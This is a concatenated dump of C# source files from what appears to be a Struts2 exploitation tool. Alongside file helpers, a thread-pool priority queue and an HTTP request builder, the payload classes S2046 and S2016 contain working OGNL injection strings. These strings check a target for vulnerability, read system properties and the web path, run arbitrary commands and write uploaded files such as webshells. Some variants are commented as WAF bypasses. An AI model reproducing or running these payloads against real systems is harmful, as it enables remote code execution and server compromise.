| //读取文件 52 | public static String readFileToString(String path) 53 | { 54 | String str = ""; 55 | FileStream fs_dir=null; 56 | StreamReader reader = null; 57 | try 58 | { 59 | fs_dir = new FileStream(path, FileMode.Open, FileAccess.Read); 60 | reader = new StreamReader(fs_dir); 61 | str = reader.ReadToEnd(); 62 | } 63 | catch (Exception e) 64 | { 65 | 66 | }finally 67 | { 68 | if (reader != null) 69 | { 70 | reader.Close(); 71 | } 72 | if (fs_dir != null) 73 | { 74 | fs_dir.Close(); 75 | } 76 | } 77 | return str; 78 | 79 | } 80 | //读取文件 81 | public static Byte[] readFileToByte(String path) 82 | { 83 | Byte[] buffer = null; 84 | FileStream fs_dir = null; 85 | try 86 | { 87 | fs_dir = new FileStream(path, FileMode.Open, FileAccess.Read); 88 | BinaryReader br = new BinaryReader(fs_dir); 89 | int len = (int)fs_dir.Length; 90 | 91 | buffer = new byte[len]; 92 | 93 | int size = br.Read(buffer, 0, len); 94 | 95 | } 96 | catch (Exception e) 97 | { 98 | 99 | } 100 | finally 101 | { 102 | if (fs_dir != null) 103 | { 104 | fs_dir.Close(); 105 | } 106 | } 107 | return buffer; 108 | 109 | } 110 | 111 | //读取文件 112 | public static String readFileToStr16(String path) 113 | { 114 | Byte[] buffer = null; 115 | FileStream fs_dir = null; 116 | StringBuilder str16 = new StringBuilder(); 117 | try 118 | { 119 | fs_dir = new FileStream(path, FileMode.Open, FileAccess.Read); 120 | BinaryReader br = new BinaryReader(fs_dir); 121 | int len = (int)fs_dir.Length; 122 | 123 | buffer = new byte[len]; 124 | 125 | int size = br.Read(buffer, 0, len); 126 | 127 | foreach (byte c in buffer) 128 | { 129 | str16.Append(c.ToString("x").PadLeft(2, '0')); 130 | } 131 | 132 | } 133 | catch (Exception e) 134 | { 135 | 136 | } 137 | finally 138 | { 139 | if (fs_dir != null) 140 | { 141 | fs_dir.Close(); 142 | } 143 | } 144 | return str16.ToString().ToUpper(); 145 | 146 | } 147 | 148 | public static void AppendLogToFile(String path,String log) 149 | { 150 | List list = new List(); 151 | FileStream fs_dir=null; 152 | StreamWriter sw= null; 153 | try 154 | { 155 | fs_dir = new FileStream(path, FileMode.Append, FileAccess.Write); 156 | 157 | sw = new StreamWriter(fs_dir); 158 | 159 | sw.WriteLine(log); 160 | 161 | sw.Close(); 162 | 163 | fs_dir.Close(); 164 | 165 | } 166 | catch (Exception e) 167 | { 168 | 169 | } 170 | finally 171 | { 172 | if (sw != null) 173 | { 174 | sw.Close(); 175 | } 176 | if (fs_dir != null) 177 | { 178 | fs_dir.Close(); 179 | } 180 | } 181 | 182 | } 183 | public static String getDomainByString(String weburl) 184 | { 185 | try 186 | { 187 | if (!weburl.StartsWith("http://")) 188 | { 189 | weburl = "http://" + weburl; 190 | } 191 | Uri u = new Uri(weburl); 192 | 193 | if (u.Port == 80) 194 | { 195 | return u.Scheme + "://" + u.Host + "/" + u.LocalPath; 196 | } 197 | return u.Scheme + "://" + u.Host + ":" + u.Port + "/"; 198 | 199 | } 200 | catch (Exception e) 201 | { 202 | } 203 | return ""; 204 | } 205 | } 206 | } 207 | -------------------------------------------------------------------------------- /Test/smartthread/PriorityQueue.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections; 3 | using System.Collections.Generic; 4 | using System.Diagnostics; 5 | 6 | namespace Amib.Threading.Internal 7 | { 8 | #region PriorityQueue class 9 | 10 | /// 11 | /// PriorityQueue class 12 | /// This class is not thread safe because we use external lock 13 | /// 14 | public sealed class PriorityQueue : IEnumerable 15 | { 16 | #region Private members 17 | 18 | /// 19 | /// The number of queues, there is one for each type of priority 20 | /// 21 | private const int _queuesCount = WorkItemPriority.Highest-WorkItemPriority.Lowest+1; 22 | 23 | /// 24 | /// Work items queues. There is one for each type of priority 25 | /// 26 | private readonly LinkedList[] _queues = new LinkedList[_queuesCount]; 27 | 28 | /// 29 | /// The total number of work items within the queues 30 | /// 31 | private int _workItemsCount; 32 | 33 | /// 34 | /// Use with IEnumerable interface 35 | /// 36 | private int _version; 37 | 38 | #endregion 39 | 40 | #region Contructor 41 | 42 | public PriorityQueue() 43 | { 44 | for(int i = 0; i < _queues.Length; ++i) 45 | { 46 | _queues[i] = new LinkedList(); 47 | } 48 | } 49 | 50 | #endregion 51 | 52 | #region Methods 53 | 54 | /// 55 | /// Enqueue a work item. 56 | /// 57 | /// A work item 58 | public void Enqueue(IHasWorkItemPriority workItem) 59 | { 60 | Debug.Assert(null != workItem); 61 | 62 | int queueIndex = _queuesCount-(int)workItem.WorkItemPriority-1; 63 | Debug.Assert(queueIndex >= 0); 64 | Debug.Assert(queueIndex < _queuesCount); 65 | 66 | _queues[queueIndex].AddLast(workItem); 67 | ++_workItemsCount; 68 | ++_version; 69 | } 70 | 71 | /// 72 | /// Dequeque a work item. 73 | /// 74 | /// Returns the next work item 75 | public IHasWorkItemPriority Dequeue() 76 | { 77 | IHasWorkItemPriority workItem = null; 78 | 79 | if(_workItemsCount > 0) 80 | { 81 | int queueIndex = GetNextNonEmptyQueue(-1); 82 | Debug.Assert(queueIndex >= 0); 83 | workItem = _queues[queueIndex].First.Value; 84 | _queues[queueIndex].RemoveFirst(); 85 | Debug.Assert(null != workItem); 86 | --_workItemsCount; 87 | ++_version; 88 | } 89 | 90 | return workItem; 91 | } 92 | 93 | /// 94 | /// Find the next non empty queue starting at queue queueIndex+1 95 | /// 96 | /// The index-1 to start from 97 | /// 98 | /// The index of the next non empty queue or -1 if all the queues are empty 99 | /// 100 | private int GetNextNonEmptyQueue(int queueIndex) 101 | { 102 | for(int i = queueIndex+1; i < _queuesCount; ++i) 103 | { 104 | if(_queues[i].Count > 0) 105 | { 106 | return i; 107 | } 108 | } 109 | return -1; 110 | } 111 | 112 | /// 113 | /// The number of work items 114 | /// 115 | public int Count 116 | { 117 | get 118 | { 119 | return _workItemsCount; 120 | } 121 | } 122 | 123 | /// 124 | /// Clear all the work items 125 | /// 126 | public void Clear() 127 | { 128 | if (_workItemsCount > 0) 129 | { 130 | foreach(LinkedList queue in _queues) 131 | { 132 | queue.Clear(); 133 | } 134 | _workItemsCount = 0; 135 | ++_version; 136 | } 137 | } 138 | 139 | #endregion 140 | 141 | #region IEnumerable Members 142 | 143 | /// 144 | /// Returns an enumerator to iterate over the work items 145 | /// 146 | /// Returns an enumerator 147 | public IEnumerator GetEnumerator() 148 | { 149 | return new PriorityQueueEnumerator(this); 150 | } 151 | 152 | #endregion 153 | 154 | #region PriorityQueueEnumerator 155 | 156 | /// 157 | /// The class the implements the enumerator 158 | /// 159 | private class PriorityQueueEnumerator : IEnumerator 160 | { 161 | private readonly PriorityQueue _priorityQueue; 162 | private int _version; 163 | private int _queueIndex; 164 | private IEnumerator _enumerator; 165 | 166 | public PriorityQueueEnumerator(PriorityQueue priorityQueue) 167 | { 168 | _priorityQueue = priorityQueue; 169 | _version = _priorityQueue._version; 170 | _queueIndex = _priorityQueue.GetNextNonEmptyQueue(-1); 171 | if (_queueIndex >= 0) 172 | { 173 | _enumerator = _priorityQueue._queues[_queueIndex].GetEnumerator(); 174 | } 175 | else 176 | { 177 | _enumerator = null; 178 | } 179 | } 180 | 181 | #region IEnumerator Members 182 | 183 | public void Reset() 184 | { 185 | _version = _priorityQueue._version; 186 | _queueIndex = _priorityQueue.GetNextNonEmptyQueue(-1); 187 | if (_queueIndex >= 0) 188 | { 189 | _enumerator = _priorityQueue._queues[_queueIndex].GetEnumerator(); 190 | } 191 | else 192 | { 193 | _enumerator = null; 194 | } 195 | } 196 | 197 | public object Current 198 | { 199 | get 200 | { 201 | Debug.Assert(null != _enumerator); 202 | return _enumerator.Current; 203 | } 204 | } 205 | 206 | public bool MoveNext() 207 | { 208 | if (null == _enumerator) 209 | { 210 | return false; 211 | } 212 | 213 | if(_version != _priorityQueue._version) 214 | { 215 | throw new InvalidOperationException("The collection has been modified"); 216 | 217 | } 218 | if (!_enumerator.MoveNext()) 219 | { 220 | _queueIndex = _priorityQueue.GetNextNonEmptyQueue(_queueIndex); 221 | if(-1 == _queueIndex) 222 | { 223 | return false; 224 | } 225 | _enumerator = _priorityQueue._queues[_queueIndex].GetEnumerator(); 226 | _enumerator.MoveNext(); 227 | return true; 228 | } 229 | return true; 230 | } 231 | 232 | #endregion 233 | } 234 | 235 | #endregion 236 | } 237 | 238 | #endregion 239 | } 240 | -------------------------------------------------------------------------------- /Test/payload/S2046.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace payload 6 | { 7 | public class S2046:BasePayload 8 | { 9 | private String Exp_Check = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}\0b"; 10 | private String Exp_VerInfo = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('[vername]:')).(#res.getWriter().print(@java.lang.System@getProperty('[vername]'))).(#res.getWriter().flush()).(#res.getWriter().close())}\0b"; 11 | 12 | private String Exp_Path= "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).(#res.getWriter().print('path:')).(#res.getWriter().print(#req.getSession().getServletContext().getRealPath('/'))).(#res.getWriter().flush()).(#res.getWriter().close())}\0b"; 13 | 14 | private String Exp_Exec = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('[cmd]'.toString().split('\\\\s'))).start().getInputStream()).useDelimiter('\\\\AAAA')).(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}\0b"; 15 | 16 | private String Exp_Upload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#filecontent='[content]').(new java.io.BufferedWriter(new java.io.FileWriter(#req.getSession().getServletContext().getRealPath('/[pathfilename]'))).append(new java.net.URLDecoder().decode(#filecontent,'UTF-8')).close()).(#res.getWriter().print('oko')).(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).(#res.getWriter().close())}\0b"; 17 | 18 | private String Exp_SetMyUpload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#filecontent='[content]').(new java.io.File('[path]').mkdirs()).(new java.io.BufferedWriter(new java.io.FileWriter('[pathfilename]')).append(new java.net.URLDecoder().decode(#filecontent,'UTF-8')).close()).(#res.getWriter().print('oko')).(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).(#res.getWriter().close())}\0b"; 19 | 20 | public String Get_Exp_Check() 21 | { 22 | return this.Exp_Check; 23 | } 24 | public String Get_Exp_VerInfo(String vername) 25 | { 26 | return this.Exp_VerInfo.Replace("[vername]", vername); ; 27 | } 28 | public String Get_Exp_Path() { 29 | return this.Exp_Path; 30 | } 31 | public String Get_Exp_Exec(String cmd) 32 | { 33 | return this.Exp_Exec.Replace("[cmd]",cmd); 34 | } 35 | public String Get_Exp_Upload(String path,String fileName,String fileContent) 36 | { 37 | if ("".Equals(path)) 38 | { 39 | this.Exp_Upload = this.Exp_Upload.Replace("[pathfilename]", fileName); 40 | return this.Exp_Upload.Replace("[filecontent]", fileContent); 41 | } 42 | else 43 | { 44 | this.Exp_SetMyUpload = this.Exp_Upload.Replace("[path]", path); 45 | this.Exp_SetMyUpload = this.Exp_Upload.Replace("[pathfilename]", path + "/" + fileName); 46 | return this.Exp_SetMyUpload.Replace("[filecontent]", fileContent); 47 | } 48 | 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /Test/smartthread/WorkItem.WorkItemResult.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Threading; 5 | 6 | namespace Amib.Threading.Internal 7 | { 8 | public partial class WorkItem 9 | { 10 | #region WorkItemResult class 11 | 12 | private class WorkItemResult : IWorkItemResult, IInternalWorkItemResult, IInternalWaitableResult 13 | { 14 | /// 15 | /// A back reference to the work item 16 | /// 17 | private readonly WorkItem _workItem; 18 | 19 | public WorkItemResult(WorkItem workItem) 20 | { 21 | _workItem = workItem; 22 | } 23 | 24 | internal WorkItem GetWorkItem() 25 | { 26 | return _workItem; 27 | } 28 | 29 | #region IWorkItemResult Members 30 | 31 | public bool IsCompleted 32 | { 33 | get 34 | { 35 | return _workItem.IsCompleted; 36 | } 37 | } 38 | 39 | public bool IsCanceled 40 | { 41 | get 42 | { 43 | return _workItem.IsCanceled; 44 | } 45 | } 46 | 47 | public object GetResult() 48 | { 49 | return _workItem.GetResult(Timeout.Infinite, true, null); 50 | } 51 | 52 | public object GetResult(int millisecondsTimeout, bool exitContext) 53 | { 54 | return _workItem.GetResult(millisecondsTimeout, exitContext, null); 55 | } 56 | 57 | public object GetResult(TimeSpan timeout, bool exitContext) 58 | { 59 | return _workItem.GetResult((int)timeout.TotalMilliseconds, exitContext, null); 60 | } 61 | 62 | public object GetResult(int millisecondsTimeout, bool exitContext, WaitHandle cancelWaitHandle) 63 | { 64 | return _workItem.GetResult(millisecondsTimeout, exitContext, cancelWaitHandle); 65 | } 66 | 67 | public object GetResult(TimeSpan timeout, bool exitContext, WaitHandle cancelWaitHandle) 68 | { 69 | return _workItem.GetResult((int)timeout.TotalMilliseconds, exitContext, cancelWaitHandle); 70 | } 71 | 72 | public object GetResult(out Exception e) 73 | { 74 | return _workItem.GetResult(Timeout.Infinite, true, null, out e); 75 | } 76 | 77 | public object GetResult(int millisecondsTimeout, bool exitContext, out Exception e) 78 | { 79 | return _workItem.GetResult(millisecondsTimeout, exitContext, null, out e); 80 | } 81 | 82 | public object GetResult(TimeSpan timeout, bool exitContext, out Exception e) 83 | { 84 | return _workItem.GetResult((int)timeout.TotalMilliseconds, exitContext, null, out e); 85 | } 86 | 87 | public object GetResult(int millisecondsTimeout, bool exitContext, WaitHandle cancelWaitHandle, out Exception e) 88 | { 89 | return _workItem.GetResult(millisecondsTimeout, exitContext, cancelWaitHandle, out e); 90 | } 91 | 92 | public object GetResult(TimeSpan timeout, bool exitContext, WaitHandle cancelWaitHandle, out Exception e) 93 | { 94 | return _workItem.GetResult((int)timeout.TotalMilliseconds, exitContext, cancelWaitHandle, out e); 95 | } 96 | 97 | public bool Cancel() 98 | { 99 | return Cancel(false); 100 | } 101 | 102 | public bool Cancel(bool abortExecution) 103 | { 104 | return _workItem.Cancel(abortExecution); 105 | } 106 | 107 | public object State 108 | { 109 | get 110 | { 111 | return _workItem._state; 112 | } 113 | } 114 | 115 | public WorkItemPriority WorkItemPriority 116 | { 117 | get 118 | { 119 | return _workItem._workItemInfo.WorkItemPriority; 120 | } 121 | } 122 | 123 | /// 124 | /// Return the result, same as GetResult() 125 | /// 126 | public object Result 127 | { 128 | get { return GetResult(); } 129 | } 130 | 131 | /// 132 | /// Returns the exception if occured otherwise returns null. 133 | /// This value is valid only after the work item completed, 134 | /// before that it is always null. 135 | /// 136 | public object Exception 137 | { 138 | get { return _workItem._exception; } 139 | } 140 | 141 | #endregion 142 | 143 | #region IInternalWorkItemResult Members 144 | 145 | public event WorkItemStateCallback OnWorkItemStarted 146 | { 147 | add 148 | { 149 | _workItem.OnWorkItemStarted += value; 150 | } 151 | remove 152 | { 153 | _workItem.OnWorkItemStarted -= value; 154 | } 155 | } 156 | 157 | 158 | public event WorkItemStateCallback OnWorkItemCompleted 159 | { 160 | add 161 | { 162 | _workItem.OnWorkItemCompleted += value; 163 | } 164 | remove 165 | { 166 | _workItem.OnWorkItemCompleted -= value; 167 | } 168 | } 169 | 170 | #endregion 171 | 172 | #region IInternalWorkItemResult Members 173 | 174 | public IWorkItemResult GetWorkItemResult() 175 | { 176 | return this; 177 | } 178 | 179 | public IWorkItemResult GetWorkItemResultT() 180 | { 181 | return new WorkItemResultTWrapper(this); 182 | } 183 | 184 | #endregion 185 | } 186 | 187 | #endregion 188 | 189 | } 190 | } 191 | -------------------------------------------------------------------------------- /Test/payload/S2016.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace payload 6 | { 7 | public class S2016 : BasePayload 8 | { 9 | private String Exp_Check = "redirect:$%7b%23req%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.print%28%22struts2_security_%22%29,%23resp.getWriter%28%29.print%28%22check%22%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29%7d"; 10 | 11 | 12 | //private String Exp_VerInfo = "redirect:$%7b%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23req%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.print%28%22[vername]:%22%29,%23resp.getWriter%28%29.print%28%40java.lang.System%40getProperty%28%22[vername]%22%29%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29%7d"; 13 | 14 | //绕过部分waf 15 | private String Exp_VerInfo = "redirect:$%7b%23_member%41ccess%3d%40og%6el.Og%6elCo%6etext%40DEFAULT_MEMBER_%41CCESS,%23req%3d%23co%6etext.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.print%28%22[vername]:%22%29,%23resp.getWriter%28%29.print%28%40java.lang.%53ystem%40getProperty%28%22[vername]%22%29%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29%7d"; 16 | 17 | private String Exp_Path="redirect:$%7b%23req%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.print%28%22web%22%29,%23resp.getWriter%28%29.print%28%22path:%22%29,%23resp.getWriter%28%29.print%28%23req.getSession%28%29.getServletContext%28%29.getRealPath%28%22/%22%29%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29%7d"; 18 | 19 | //private String Exp_Exec = "redirect:$%7b%23req%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23s%3dnew%20java.util.Scanner%28%28new%20java.lang.ProcessBuilder%28%27[cmd]%27.toString%28%29.split%28%27\\\\s%27%29%29%29.start%28%29.getInputStream%28%29%29.useDelimiter%28%27\\\\AAAA%27%29,%23str%3d%23s.hasNext%28%29?%23s.next%28%29:%27%27,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.println%28%23str%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29%7d"; 20 | 21 | //绕过部分waf 22 | private String Exp_Exec = "redirect:$%7b%23req%3d%23co%6etext.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23s%3dnew%20java.util.Scanner%28%28new%20java.lang.%50rocessBuilder%28%27[cmd]%27.toString%28%29.split%28%27\\\\s%27%29%29%29.start%28%29.getInputStream%28%29%29.useDelimiter%28%27\\\\AAAA%27%29,%23str%3d%23s.hasNext%28%29?%23s.next%28%29:%27%27,%23resp%3d%23co%6etext.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.println%28%23str%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29%7d"; 23 | 24 | private String Exp_Upload = "redirect:$%7b%23req%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29,%23res%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23res.getWriter%28%29.print%28%22oko%22%29,%23res.getWriter%28%29.print%28%22kok/%22%29,%23res.getWriter%28%29.print%28%23req.getContextPath%28%29%29,%23res.getWriter%28%29.flush%28%29,%23res.getWriter%28%29.close%28%29,new+java.io.BufferedWriter%28new+java.io.FileWriter%28%23req.getRealPath(%27/[pathfilename]%27)%29%29.append%28%23req.getParameter%28%22shell%22%29%29.close%28%29%7d&shell=[filecontent]"; 25 | //自定义路径 26 | private String Exp_SetMyUpload = "redirect:$%7b%23req%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29,%23res%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23res.getWriter%28%29.print%28%22oko%22%29,%23res.getWriter%28%29.print%28%22kok/%22%29,%23res.getWriter%28%29.print%28%23req.getContextPath%28%29%29,%23res.getWriter%28%29.flush%28%29,%23res.getWriter%28%29.close%28%29,new+java.io.File%28%27[path]%27%29.mkdirs%28%29,new+java.io.BufferedWriter%28new+java.io.FileWriter%28%27[pathfilename]%27%29%29.append%28%23req.getParameter%28%22shell%22%29%29.close%28%29%7d&shell=[filecontent]"; 27 | 28 | 29 | public String Get_Exp_Check() 30 | { 31 | return this.Exp_Check; 32 | } 33 | public String Get_Exp_VerInfo(String vername) 34 | { 35 | return this.Exp_VerInfo.Replace("[vername]", vername); ; 36 | } 37 | public String Get_Exp_Path() { 38 | return this.Exp_Path; 39 | } 40 | public String Get_Exp_Exec(String cmd) 41 | { 42 | return this.Exp_Exec.Replace("[cmd]",cmd); 43 | } 44 | public String Get_Exp_Upload(String path,String fileName,String fileContent) 45 | { 46 | if ("".Equals(path)) 47 | { 48 | this.Exp_Upload=this.Exp_Upload.Replace("[pathfilename]", fileName); 49 | return this.Exp_Upload.Replace("[filecontent]", fileContent); 50 | } 51 | else { 52 | this.Exp_SetMyUpload = this.Exp_SetMyUpload.Replace("[path]", path); 53 | this.Exp_SetMyUpload = this.Exp_SetMyUpload.Replace("[pathfilename]",path+"/"+fileName); 54 | return this.Exp_SetMyUpload.Replace("[filecontent]", fileContent); 55 | } 56 | 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /Test/http/model/HttpRequest.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace http.model 6 | { 7 | public class HttpRequest 8 | { 9 | 10 | public HttpRequest(String url) 11 | { 12 | 13 | try 14 | { 15 | Uri uri = new Uri(url); 16 | this.Host = uri.Host; 17 | this.Port = uri.Port; 18 | 19 | if (url.StartsWith("https", StringComparison.OrdinalIgnoreCase)) 20 | { 21 | this.ISSSL = true; 22 | } 23 | this.PathAndQuery = uri.PathAndQuery; 24 | } 25 | catch (Exception e) 26 | { 27 | 28 | throw e; 29 | } 30 | 31 | 32 | } 33 | private Dictionary Headers = new Dictionary(); 34 | private Dictionary MUData = new Dictionary(); 35 | 36 | public void AddHeader(String name, String val) { 37 | if (!this.Headers.ContainsKey(name)) 38 | { 39 | this.Headers.Add(name, val); 40 | } 41 | 42 | } 43 | public void AddMuHeader(String name, String val) 44 | { 45 | if (!this.MUData.ContainsKey(name)) 46 | { 47 | this.MUData.Add(name, val); 48 | } 49 | 50 | } 51 | 52 | public static String murTemplate = "POST {0} HTTP/1.1\r\nAccept-Encoding: gzip, deflate\r\nConnection: Keep-Alive\r\nContent-Length: 51\r\nUser-Agent: Mozilla/5.0 (baidu spider)\r\nHost: {1}\r\nCookie: {2}\r\nContent-Type: multipart/form-data; boundary=------------------------4a606c052a893987\r\n\r\n--------------------------4a606c052a893987\r\nContent-Disposition: form-data; name=\"{3}\"\r\n\r\n-1\r\n--------------------------4a606c052a893987--"; 53 | 54 | public String GetBody(String data) 55 | { 56 | StringBuilder sb = new StringBuilder(); 57 | sb.Append(Method + " " + PathAndQuery + " HTTP/1.1\r\n"); 58 | sb.Append("Host:"+Host +":"+Port+"\r\n"); 59 | if (!"".Equals(Accept)) { 60 | sb.Append("Accept: "+Accept + "\r\n"); 61 | } 62 | if (!"".Equals(AcceptLanguage)) 63 | { 64 | sb.Append("Accept-Language: " + AcceptLanguage + "\r\n"); 65 | } 66 | if (!"".Equals(Referer)) 67 | { 68 | sb.Append("Referer: " + Referer + "\r\n"); 69 | } 70 | if (!"".Equals(UserAgent)) 71 | { 72 | sb.Append("User-Agent: " + UserAgent + "\r\n"); 73 | } 74 | if (!"".Equals(AcceptEncoding)) 75 | { 76 | sb.Append("Accept-Encoding: " + AcceptEncoding + "\r\n"); 77 | } 78 | if (!"".Equals(Connection)) 79 | { 80 | sb.Append("Connection: " + Connection + "\r\n"); 81 | } 82 | foreach (var c in this.Headers) 83 | { 84 | sb.Append(c.Key + ": " + c.Value + "\r\n"); 85 | } 86 | if ("POST".Equals(Method)) 87 | { 88 | sb.Append("Content-Length: 0\r\n"); 89 | } 90 | if (!"".Equals(ContentType)) 91 | { 92 | 93 | if ("multipart/form-data".Equals(ContentType)) 94 | { 95 | sb.Append("Content-Type: " + ContentType + "; boundary=---------------------------7e116d19044c\r\n"); 96 | } 97 | else { 98 | sb.Append("Content-Type: " + 